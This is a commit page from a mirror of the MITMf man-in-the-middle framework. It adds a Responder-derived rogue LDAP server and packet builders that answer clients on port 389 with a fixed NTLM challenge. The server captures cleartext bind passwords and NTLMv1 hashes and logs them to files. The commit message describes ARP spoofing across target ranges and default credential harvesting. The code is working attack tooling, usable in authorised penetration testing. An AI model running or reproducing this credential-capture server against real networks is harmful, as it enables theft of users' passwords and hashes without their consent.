mirror of
https://github.com/byt3bl33d3r/MITMf.git
synced 2025-08-14 02:37:06 -07:00
This is 1/2 of the work done... lot's of cool stuff!
I've re-written a decent amount of the framework to support dynamic config file updates, revamped the ARP Spoofing 'engine' and changed the way MITMf integrates Responder and Netcreds. - Net-creds is now started by default and no longer a plugin.. It's all about getting those creds after all. - Integrated the Subterfuge Framework's ARPWatch script, it will enable itself when spoofing the whole subnet (also squashed bugs in the original ARP spoofing code) - The spoof plugin now supports specifying a range of targets (e.g. --target 10.10.10.1-15) and multiple targets (e.g. --target 10.10.10.1,10.10.10.2) - An SMB Server is now started by default, MITMf now uses Impacket's SMBserver as supposed to the one built into Responder, mainly for 2 reasons: 1) Impacket is moving towards SMB2 support and is actively developed 2) Impacket's SMB server is fully functional as supposed to Responder's (will be adding a section for it in the config file) 3) Responder's SMB server was unrealiable when used through MITMf (After spending a day trying to figure out why, I just gave up and yanked it out) - Responder's code has been broken down into single importable classes (way easier to manage and read, ugh!) - Started adding dynamic config support to Responder's code and changed the logging messages to be a bit more readable. - POST data captured through the proxy will now only be logged and printed to STDOUT when it's decodable to UTF-8 (this prevents logging encrypted data which is no use) - Responder and the Beefapi script are no longer submodules (they seem to be a pain to package, so i removed them to help a brother out) - Some plugins are missing because I'm currently re-writing them, will be added later - Main plugin class now inharates from the ConfigWatcher class, this way plugins will support dynamic configs natively! \o/
This commit is contained in:
parent
663f38e732
commit
9712eed4a3
92 changed files with 6883 additions and 3349 deletions
238
core/protocols/ldap/LDAPPackets.py
Normal file
238
core/protocols/ldap/LDAPPackets.py
Normal file
|
@ -0,0 +1,238 @@
|
|||
#! /usr/bin/env python
|
||||
# NBT-NS/LLMNR Responder
|
||||
# Created by Laurent Gaffie
|
||||
# Copyright (C) 2014 Trustwave Holdings, Inc.
|
||||
#
|
||||
# This program is free software: you can redistribute it and/or modify
|
||||
# it under the terms of the GNU General Public License as published by
|
||||
# the Free Software Foundation, either version 3 of the License, or
|
||||
# (at your option) any later version.
|
||||
#
|
||||
# This program is distributed in the hope that it will be useful,
|
||||
# but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
# GNU General Public License for more details.
|
||||
#
|
||||
# You should have received a copy of the GNU General Public License
|
||||
# along with this program. If not, see <http://www.gnu.org/licenses/>.
|
||||
|
||||
import struct
|
||||
from odict import OrderedDict
|
||||
|
||||
class Packet():
|
||||
fields = OrderedDict([
|
||||
("data", ""),
|
||||
])
|
||||
def __init__(self, **kw):
|
||||
self.fields = OrderedDict(self.__class__.fields)
|
||||
for k,v in kw.items():
|
||||
if callable(v):
|
||||
self.fields[k] = v(self.fields[k])
|
||||
else:
|
||||
self.fields[k] = v
|
||||
def __str__(self):
|
||||
return "".join(map(str, self.fields.values()))
|
||||
|
||||
|
||||
class LDAPSearchDefaultPacket(Packet):
|
||||
fields = OrderedDict([
|
||||
("ParserHeadASNID", "\x30"),
|
||||
("ParserHeadASNLen", "\x0c"),
|
||||
("MessageIDASNID", "\x02"),
|
||||
("MessageIDASNLen", "\x01"),
|
||||
("MessageIDASNStr", "\x0f"),
|
||||
("OpHeadASNID", "\x65"),
|
||||
("OpHeadASNIDLen", "\x07"),
|
||||
("SearchDoneSuccess", "\x0A\x01\x00\x04\x00\x04\x00"),#No Results.
|
||||
])
|
||||
|
||||
class LDAPSearchSupportedCapabilitiesPacket(Packet):
|
||||
fields = OrderedDict([
|
||||
("ParserHeadASNID", "\x30"),
|
||||
("ParserHeadASNLenOfLen", "\x84"),
|
||||
("ParserHeadASNLen", "\x00\x00\x00\x7e"),#126
|
||||
("MessageIDASNID", "\x02"),
|
||||
("MessageIDASNLen", "\x01"),
|
||||
("MessageIDASNStr", "\x02"),
|
||||
("OpHeadASNID", "\x64"),
|
||||
("OpHeadASNIDLenOfLen", "\x84"),
|
||||
("OpHeadASNIDLen", "\x00\x00\x00\x75"),#117
|
||||
("ObjectName", "\x04\x00"),
|
||||
("SearchAttribASNID", "\x30"),
|
||||
("SearchAttribASNLenOfLen", "\x84"),
|
||||
("SearchAttribASNLen", "\x00\x00\x00\x6d"),#109
|
||||
("SearchAttribASNID1", "\x30"),
|
||||
("SearchAttribASN1LenOfLen", "\x84"),
|
||||
("SearchAttribASN1Len", "\x00\x00\x00\x67"),#103
|
||||
("SearchAttribASN2ID", "\x04"),
|
||||
("SearchAttribASN2Len", "\x15"),#21
|
||||
("SearchAttribASN2Str", "supportedCapabilities"),
|
||||
("SearchAttribASN3ID", "\x31"),
|
||||
("SearchAttribASN3LenOfLen", "\x84"),
|
||||
("SearchAttribASN3Len", "\x00\x00\x00\x4a"),
|
||||
("SearchAttrib1ASNID", "\x04"),
|
||||
("SearchAttrib1ASNLen", "\x16"),#22
|
||||
("SearchAttrib1ASNStr", "1.2.840.113556.1.4.800"),
|
||||
("SearchAttrib2ASNID", "\x04"),
|
||||
("SearchAttrib2ASNLen", "\x17"),#23
|
||||
("SearchAttrib2ASNStr", "1.2.840.113556.1.4.1670"),
|
||||
("SearchAttrib3ASNID", "\x04"),
|
||||
("SearchAttrib3ASNLen", "\x17"),#23
|
||||
("SearchAttrib3ASNStr", "1.2.840.113556.1.4.1791"),
|
||||
("SearchDoneASNID", "\x30"),
|
||||
("SearchDoneASNLenOfLen", "\x84"),
|
||||
("SearchDoneASNLen", "\x00\x00\x00\x10"),#16
|
||||
("MessageIDASN2ID", "\x02"),
|
||||
("MessageIDASN2Len", "\x01"),
|
||||
("MessageIDASN2Str", "\x02"),
|
||||
("SearchDoneStr", "\x65\x84\x00\x00\x00\x07\x0a\x01\x00\x04\x00\x04\x00"),
|
||||
## No need to calculate anything this time, this packet is generic.
|
||||
])
|
||||
|
||||
class LDAPSearchSupportedMechanismsPacket(Packet):
|
||||
fields = OrderedDict([
|
||||
("ParserHeadASNID", "\x30"),
|
||||
("ParserHeadASNLenOfLen", "\x84"),
|
||||
("ParserHeadASNLen", "\x00\x00\x00\x60"),#96
|
||||
("MessageIDASNID", "\x02"),
|
||||
("MessageIDASNLen", "\x01"),
|
||||
("MessageIDASNStr", "\x02"),
|
||||
("OpHeadASNID", "\x64"),
|
||||
("OpHeadASNIDLenOfLen", "\x84"),
|
||||
("OpHeadASNIDLen", "\x00\x00\x00\x57"),#87
|
||||
("ObjectName", "\x04\x00"),
|
||||
("SearchAttribASNID", "\x30"),
|
||||
("SearchAttribASNLenOfLen", "\x84"),
|
||||
("SearchAttribASNLen", "\x00\x00\x00\x4f"),#79
|
||||
("SearchAttribASNID1", "\x30"),
|
||||
("SearchAttribASN1LenOfLen", "\x84"),
|
||||
("SearchAttribASN1Len", "\x00\x00\x00\x49"),#73
|
||||
("SearchAttribASN2ID", "\x04"),
|
||||
("SearchAttribASN2Len", "\x17"),#23
|
||||
("SearchAttribASN2Str", "supportedSASLMechanisms"),
|
||||
("SearchAttribASN3ID", "\x31"),
|
||||
("SearchAttribASN3LenOfLen", "\x84"),
|
||||
("SearchAttribASN3Len", "\x00\x00\x00\x2a"),#42
|
||||
("SearchAttrib1ASNID", "\x04"),
|
||||
("SearchAttrib1ASNLen", "\x06"),#6
|
||||
("SearchAttrib1ASNStr", "GSSAPI"),
|
||||
("SearchAttrib2ASNID", "\x04"),
|
||||
("SearchAttrib2ASNLen", "\x0a"),#10
|
||||
("SearchAttrib2ASNStr", "GSS-SPNEGO"),
|
||||
("SearchAttrib3ASNID", "\x04"),
|
||||
("SearchAttrib3ASNLen", "\x08"),#8
|
||||
("SearchAttrib3ASNStr", "EXTERNAL"),
|
||||
("SearchAttrib4ASNID", "\x04"),
|
||||
("SearchAttrib4ASNLen", "\x0a"),#10
|
||||
("SearchAttrib4ASNStr", "DIGEST-MD5"),
|
||||
("SearchDoneASNID", "\x30"),
|
||||
("SearchDoneASNLenOfLen", "\x84"),
|
||||
("SearchDoneASNLen", "\x00\x00\x00\x10"),#16
|
||||
("MessageIDASN2ID", "\x02"),
|
||||
("MessageIDASN2Len", "\x01"),
|
||||
("MessageIDASN2Str", "\x02"),
|
||||
("SearchDoneStr", "\x65\x84\x00\x00\x00\x07\x0a\x01\x00\x04\x00\x04\x00"),
|
||||
## No need to calculate anything this time, this packet is generic.
|
||||
])
|
||||
|
||||
class LDAPNTLMChallenge(Packet):
|
||||
fields = OrderedDict([
|
||||
("ParserHeadASNID", "\x30"),
|
||||
("ParserHeadASNLenOfLen", "\x84"),
|
||||
("ParserHeadASNLen", "\x00\x00\x00\xD0"),#208
|
||||
("MessageIDASNID", "\x02"),
|
||||
("MessageIDASNLen", "\x01"),
|
||||
("MessageIDASNStr", "\x02"),
|
||||
("OpHeadASNID", "\x61"),
|
||||
("OpHeadASNIDLenOfLen", "\x84"),
|
||||
("OpHeadASNIDLen", "\x00\x00\x00\xc7"),#199
|
||||
("Status", "\x0A"),
|
||||
("StatusASNLen", "\x01"),
|
||||
("StatusASNStr", "\x0e"), #In Progress.
|
||||
("MatchedDN", "\x04\x00"), #Null
|
||||
("ErrorMessage", "\x04\x00"), #Null
|
||||
("SequenceHeader", "\x87"),
|
||||
("SequenceHeaderLenOfLen", "\x81"),
|
||||
("SequenceHeaderLen", "\x82"), #188
|
||||
("NTLMSSPSignature", "NTLMSSP"),
|
||||
("NTLMSSPSignatureNull", "\x00"),
|
||||
("NTLMSSPMessageType", "\x02\x00\x00\x00"),
|
||||
("NTLMSSPNtWorkstationLen","\x1e\x00"),
|
||||
("NTLMSSPNtWorkstationMaxLen","\x1e\x00"),
|
||||
("NTLMSSPNtWorkstationBuffOffset","\x38\x00\x00\x00"),
|
||||
("NTLMSSPNtNegotiateFlags","\x15\x82\x89\xe2"),
|
||||
("NTLMSSPNtServerChallenge","\x81\x22\x33\x34\x55\x46\xe7\x88"),
|
||||
("NTLMSSPNtReserved","\x00\x00\x00\x00\x00\x00\x00\x00"),
|
||||
("NTLMSSPNtTargetInfoLen","\x94\x00"),
|
||||
("NTLMSSPNtTargetInfoMaxLen","\x94\x00"),
|
||||
("NTLMSSPNtTargetInfoBuffOffset","\x56\x00\x00\x00"),
|
||||
("NegTokenInitSeqMechMessageVersionHigh","\x05"),
|
||||
("NegTokenInitSeqMechMessageVersionLow","\x02"),
|
||||
("NegTokenInitSeqMechMessageVersionBuilt","\xce\x0e"),
|
||||
("NegTokenInitSeqMechMessageVersionReserved","\x00\x00\x00"),
|
||||
("NegTokenInitSeqMechMessageVersionNTLMType","\x0f"),
|
||||
("NTLMSSPNtWorkstationName","SMB12"),
|
||||
("NTLMSSPNTLMChallengeAVPairsId","\x02\x00"),
|
||||
("NTLMSSPNTLMChallengeAVPairsLen","\x0a\x00"),
|
||||
("NTLMSSPNTLMChallengeAVPairsUnicodeStr","smb12"),
|
||||
("NTLMSSPNTLMChallengeAVPairs1Id","\x01\x00"),
|
||||
("NTLMSSPNTLMChallengeAVPairs1Len","\x1e\x00"),
|
||||
("NTLMSSPNTLMChallengeAVPairs1UnicodeStr","SERVER2008"),
|
||||
("NTLMSSPNTLMChallengeAVPairs2Id","\x04\x00"),
|
||||
("NTLMSSPNTLMChallengeAVPairs2Len","\x1e\x00"),
|
||||
("NTLMSSPNTLMChallengeAVPairs2UnicodeStr","smb12.local"),
|
||||
("NTLMSSPNTLMChallengeAVPairs3Id","\x03\x00"),
|
||||
("NTLMSSPNTLMChallengeAVPairs3Len","\x1e\x00"),
|
||||
("NTLMSSPNTLMChallengeAVPairs3UnicodeStr","SERVER2008.smb12.local"),
|
||||
("NTLMSSPNTLMChallengeAVPairs5Id","\x05\x00"),
|
||||
("NTLMSSPNTLMChallengeAVPairs5Len","\x04\x00"),
|
||||
("NTLMSSPNTLMChallengeAVPairs5UnicodeStr","smb12.local"),
|
||||
("NTLMSSPNTLMChallengeAVPairs6Id","\x00\x00"),
|
||||
("NTLMSSPNTLMChallengeAVPairs6Len","\x00\x00"),
|
||||
])
|
||||
|
||||
def calculate(self):
|
||||
|
||||
##Convert strings to Unicode first...
|
||||
self.fields["NTLMSSPNtWorkstationName"] = self.fields["NTLMSSPNtWorkstationName"].encode('utf-16le')
|
||||
self.fields["NTLMSSPNTLMChallengeAVPairsUnicodeStr"] = self.fields["NTLMSSPNTLMChallengeAVPairsUnicodeStr"].encode('utf-16le')
|
||||
self.fields["NTLMSSPNTLMChallengeAVPairs1UnicodeStr"] = self.fields["NTLMSSPNTLMChallengeAVPairs1UnicodeStr"].encode('utf-16le')
|
||||
self.fields["NTLMSSPNTLMChallengeAVPairs2UnicodeStr"] = self.fields["NTLMSSPNTLMChallengeAVPairs2UnicodeStr"].encode('utf-16le')
|
||||
self.fields["NTLMSSPNTLMChallengeAVPairs3UnicodeStr"] = self.fields["NTLMSSPNTLMChallengeAVPairs3UnicodeStr"].encode('utf-16le')
|
||||
self.fields["NTLMSSPNTLMChallengeAVPairs5UnicodeStr"] = self.fields["NTLMSSPNTLMChallengeAVPairs5UnicodeStr"].encode('utf-16le')
|
||||
|
||||
###### Workstation Offset
|
||||
CalculateOffsetWorkstation = str(self.fields["NTLMSSPSignature"])+str(self.fields["NTLMSSPSignatureNull"])+str(self.fields["NTLMSSPMessageType"])+str(self.fields["NTLMSSPNtWorkstationLen"])+str(self.fields["NTLMSSPNtWorkstationMaxLen"])+str(self.fields["NTLMSSPNtWorkstationBuffOffset"])+str(self.fields["NTLMSSPNtNegotiateFlags"])+str(self.fields["NTLMSSPNtServerChallenge"])+str(self.fields["NTLMSSPNtReserved"])+str(self.fields["NTLMSSPNtTargetInfoLen"])+str(self.fields["NTLMSSPNtTargetInfoMaxLen"])+str(self.fields["NTLMSSPNtTargetInfoBuffOffset"])+str(self.fields["NegTokenInitSeqMechMessageVersionHigh"])+str(self.fields["NegTokenInitSeqMechMessageVersionLow"])+str(self.fields["NegTokenInitSeqMechMessageVersionBuilt"])+str(self.fields["NegTokenInitSeqMechMessageVersionReserved"])+str(self.fields["NegTokenInitSeqMechMessageVersionNTLMType"])
|
||||
|
||||
###### AvPairs Offset
|
||||
CalculateLenAvpairs = str(self.fields["NTLMSSPNTLMChallengeAVPairsId"])+str(self.fields["NTLMSSPNTLMChallengeAVPairsLen"])+str(self.fields["NTLMSSPNTLMChallengeAVPairsUnicodeStr"])+str(self.fields["NTLMSSPNTLMChallengeAVPairs1Id"])+str(self.fields["NTLMSSPNTLMChallengeAVPairs1Len"])+str(self.fields["NTLMSSPNTLMChallengeAVPairs1UnicodeStr"])+(self.fields["NTLMSSPNTLMChallengeAVPairs2Id"])+str(self.fields["NTLMSSPNTLMChallengeAVPairs2Len"])+str(self.fields["NTLMSSPNTLMChallengeAVPairs2UnicodeStr"])+(self.fields["NTLMSSPNTLMChallengeAVPairs3Id"])+str(self.fields["NTLMSSPNTLMChallengeAVPairs3Len"])+str(self.fields["NTLMSSPNTLMChallengeAVPairs3UnicodeStr"])+(self.fields["NTLMSSPNTLMChallengeAVPairs5Id"])+str(self.fields["NTLMSSPNTLMChallengeAVPairs5Len"])+str(self.fields["NTLMSSPNTLMChallengeAVPairs5UnicodeStr"])+(self.fields["NTLMSSPNTLMChallengeAVPairs6Id"])+str(self.fields["NTLMSSPNTLMChallengeAVPairs6Len"])
|
||||
|
||||
###### LDAP Packet Len
|
||||
CalculatePacketLen = str(self.fields["MessageIDASNID"])+str(self.fields["MessageIDASNLen"])+str(self.fields["MessageIDASNStr"])+str(self.fields["OpHeadASNID"])+str(self.fields["OpHeadASNIDLenOfLen"])+str(self.fields["OpHeadASNIDLen"])+str(self.fields["Status"])+str(self.fields["StatusASNLen"])+str(self.fields["StatusASNStr"])+str(self.fields["MatchedDN"])+str(self.fields["ErrorMessage"])+str(self.fields["SequenceHeader"])+str(self.fields["SequenceHeaderLen"])+str(self.fields["SequenceHeaderLenOfLen"])+CalculateOffsetWorkstation+str(self.fields["NTLMSSPNtWorkstationName"])+CalculateLenAvpairs
|
||||
|
||||
|
||||
OperationPacketLen = str(self.fields["Status"])+str(self.fields["StatusASNLen"])+str(self.fields["StatusASNStr"])+str(self.fields["MatchedDN"])+str(self.fields["ErrorMessage"])+str(self.fields["SequenceHeader"])+str(self.fields["SequenceHeaderLen"])+str(self.fields["SequenceHeaderLenOfLen"])+CalculateOffsetWorkstation+str(self.fields["NTLMSSPNtWorkstationName"])+CalculateLenAvpairs
|
||||
|
||||
NTLMMessageLen = CalculateOffsetWorkstation+str(self.fields["NTLMSSPNtWorkstationName"])+CalculateLenAvpairs
|
||||
|
||||
##### LDAP Len Calculation:
|
||||
self.fields["ParserHeadASNLen"] = struct.pack(">i", len(CalculatePacketLen))
|
||||
self.fields["OpHeadASNIDLen"] = struct.pack(">i", len(OperationPacketLen))
|
||||
self.fields["SequenceHeaderLen"] = struct.pack(">B", len(NTLMMessageLen))
|
||||
|
||||
##### Workstation Offset Calculation:
|
||||
self.fields["NTLMSSPNtWorkstationBuffOffset"] = struct.pack("<i", len(CalculateOffsetWorkstation))
|
||||
self.fields["NTLMSSPNtWorkstationLen"] = struct.pack("<h", len(str(self.fields["NTLMSSPNtWorkstationName"])))
|
||||
self.fields["NTLMSSPNtWorkstationMaxLen"] = struct.pack("<h", len(str(self.fields["NTLMSSPNtWorkstationName"])))
|
||||
|
||||
##### IvPairs Offset Calculation:
|
||||
self.fields["NTLMSSPNtTargetInfoBuffOffset"] = struct.pack("<i", len(CalculateOffsetWorkstation+str(self.fields["NTLMSSPNtWorkstationName"])))
|
||||
self.fields["NTLMSSPNtTargetInfoLen"] = struct.pack("<h", len(CalculateLenAvpairs))
|
||||
self.fields["NTLMSSPNtTargetInfoMaxLen"] = struct.pack("<h", len(CalculateLenAvpairs))
|
||||
##### IvPair Calculation:
|
||||
self.fields["NTLMSSPNTLMChallengeAVPairs5Len"] = struct.pack("<h", len(str(self.fields["NTLMSSPNTLMChallengeAVPairs5UnicodeStr"])))
|
||||
self.fields["NTLMSSPNTLMChallengeAVPairs3Len"] = struct.pack("<h", len(str(self.fields["NTLMSSPNTLMChallengeAVPairs3UnicodeStr"])))
|
||||
self.fields["NTLMSSPNTLMChallengeAVPairs2Len"] = struct.pack("<h", len(str(self.fields["NTLMSSPNTLMChallengeAVPairs2UnicodeStr"])))
|
||||
self.fields["NTLMSSPNTLMChallengeAVPairs1Len"] = struct.pack("<h", len(str(self.fields["NTLMSSPNTLMChallengeAVPairs1UnicodeStr"])))
|
||||
self.fields["NTLMSSPNTLMChallengeAVPairsLen"] = struct.pack("<h", len(str(self.fields["NTLMSSPNTLMChallengeAVPairsUnicodeStr"])))
|
||||
|
121
core/protocols/ldap/LDAPServer.py
Normal file
121
core/protocols/ldap/LDAPServer.py
Normal file
|
@ -0,0 +1,121 @@
|
|||
##################################################################################
|
||||
#LDAP Stuff starts here
|
||||
##################################################################################
|
||||
|
||||
class LDAPServer():
|
||||
|
||||
def serve_thread_tcp(self, host, port, handler):
|
||||
try:
|
||||
server = ThreadingTCPServer((host, port), handler)
|
||||
server.serve_forever()
|
||||
except Exception, e:
|
||||
print "Error starting TCP server on port %s: %s:" % (str(port),str(e))
|
||||
|
||||
#Function name self-explanatory
|
||||
def start(self, LDAP_On_Off):
|
||||
if LDAP_On_Off == "ON":
|
||||
t = threading.Thread(name="LDAP", target=self.serve_thread_tcp, args=("0.0.0.0", 389,LDAP))
|
||||
t.setDaemon(True)
|
||||
t.start()
|
||||
|
||||
if LDAP_On_Off == "OFF":
|
||||
return False
|
||||
|
||||
class ThreadingTCPServer(ThreadingMixIn, TCPServer):
|
||||
|
||||
allow_reuse_address = 1
|
||||
|
||||
def server_bind(self):
|
||||
TCPServer.server_bind(self)
|
||||
|
||||
def ParseSearch(data):
|
||||
Search1 = re.search('(objectClass)', data)
|
||||
Search2 = re.search('(?i)(objectClass0*.*supportedCapabilities)', data)
|
||||
Search3 = re.search('(?i)(objectClass0*.*supportedSASLMechanisms)', data)
|
||||
if Search1:
|
||||
return str(LDAPSearchDefaultPacket(MessageIDASNStr=data[8:9]))
|
||||
if Search2:
|
||||
return str(LDAPSearchSupportedCapabilitiesPacket(MessageIDASNStr=data[8:9],MessageIDASN2Str=data[8:9]))
|
||||
if Search3:
|
||||
return str(LDAPSearchSupportedMechanismsPacket(MessageIDASNStr=data[8:9],MessageIDASN2Str=data[8:9]))
|
||||
|
||||
def ParseLDAPHash(data,client):
|
||||
SSPIStarts = data[42:]
|
||||
LMhashLen = struct.unpack('<H',data[54:56])[0]
|
||||
if LMhashLen > 10:
|
||||
LMhashOffset = struct.unpack('<H',data[58:60])[0]
|
||||
LMHash = SSPIStarts[LMhashOffset:LMhashOffset+LMhashLen].encode("hex").upper()
|
||||
NthashLen = struct.unpack('<H',data[64:66])[0]
|
||||
NthashOffset = struct.unpack('<H',data[66:68])[0]
|
||||
NtHash = SSPIStarts[NthashOffset:NthashOffset+NthashLen].encode("hex").upper()
|
||||
DomainLen = struct.unpack('<H',data[72:74])[0]
|
||||
DomainOffset = struct.unpack('<H',data[74:76])[0]
|
||||
Domain = SSPIStarts[DomainOffset:DomainOffset+DomainLen].replace('\x00','')
|
||||
UserLen = struct.unpack('<H',data[80:82])[0]
|
||||
UserOffset = struct.unpack('<H',data[82:84])[0]
|
||||
User = SSPIStarts[UserOffset:UserOffset+UserLen].replace('\x00','')
|
||||
writehash = User+"::"+Domain+":"+LMHash+":"+NtHash+":"+NumChal
|
||||
Outfile = "./logs/responder/LDAP-NTLMv1-"+client+".txt"
|
||||
WriteData(Outfile,writehash,User+"::"+Domain)
|
||||
#print "[LDAP] NTLMv1 complete hash is :", writehash
|
||||
responder_logger.info('[LDAP] NTLMv1 complete hash is :%s'%(writehash))
|
||||
if LMhashLen <2 :
|
||||
Message = '[+]LDAP Anonymous NTLM authentication, ignoring..'
|
||||
#print Message
|
||||
responder_logger.info(Message)
|
||||
|
||||
def ParseNTLM(data,client):
|
||||
Search1 = re.search('(NTLMSSP\x00\x01\x00\x00\x00)', data)
|
||||
Search2 = re.search('(NTLMSSP\x00\x03\x00\x00\x00)', data)
|
||||
if Search1:
|
||||
NTLMChall = LDAPNTLMChallenge(MessageIDASNStr=data[8:9],NTLMSSPNtServerChallenge=Challenge)
|
||||
NTLMChall.calculate()
|
||||
return str(NTLMChall)
|
||||
if Search2:
|
||||
ParseLDAPHash(data,client)
|
||||
|
||||
def ParseLDAPPacket(data,client):
|
||||
if data[1:2] == '\x84':
|
||||
PacketLen = struct.unpack('>i',data[2:6])[0]
|
||||
MessageSequence = struct.unpack('<b',data[8:9])[0]
|
||||
Operation = data[9:10]
|
||||
sasl = data[20:21]
|
||||
OperationHeadLen = struct.unpack('>i',data[11:15])[0]
|
||||
LDAPVersion = struct.unpack('<b',data[17:18])[0]
|
||||
if Operation == "\x60":
|
||||
UserDomainLen = struct.unpack('<b',data[19:20])[0]
|
||||
UserDomain = data[20:20+UserDomainLen]
|
||||
AuthHeaderType = data[20+UserDomainLen:20+UserDomainLen+1]
|
||||
if AuthHeaderType == "\x80":
|
||||
PassLen = struct.unpack('<b',data[20+UserDomainLen+1:20+UserDomainLen+2])[0]
|
||||
Password = data[20+UserDomainLen+2:20+UserDomainLen+2+PassLen]
|
||||
#print '[LDAP]Clear Text User & Password is:', UserDomain+":"+Password
|
||||
outfile = "./logs/responder/LDAP-Clear-Text-Password-"+client+".txt"
|
||||
WriteData(outfile,'[LDAP]User: %s Password: %s'%(UserDomain,Password),'[LDAP]User: %s Password: %s'%(UserDomain,Password))
|
||||
responder_logger.info('[LDAP]User: %s Password: %s'%(UserDomain,Password))
|
||||
if sasl == "\xA3":
|
||||
buff = ParseNTLM(data,client)
|
||||
return buff
|
||||
elif Operation == "\x63":
|
||||
buff = ParseSearch(data)
|
||||
return buff
|
||||
else:
|
||||
responder_logger.info('[LDAP]Operation not supported')
|
||||
|
||||
#LDAP Server Class
|
||||
class LDAP(BaseRequestHandler):
|
||||
|
||||
def handle(self):
|
||||
try:
|
||||
while True:
|
||||
self.request.settimeout(0.5)
|
||||
data = self.request.recv(8092)
|
||||
buffer0 = ParseLDAPPacket(data,self.client_address[0])
|
||||
if buffer0:
|
||||
self.request.send(buffer0)
|
||||
except Exception:
|
||||
pass #No need to print timeout errors.
|
||||
|
||||
##################################################################################
|
||||
#LDAP Stuff ends here
|
||||
##################################################################################
|
0
core/protocols/ldap/__init__.py
Normal file
0
core/protocols/ldap/__init__.py
Normal file
Loading…
Add table
Add a link
Reference in a new issue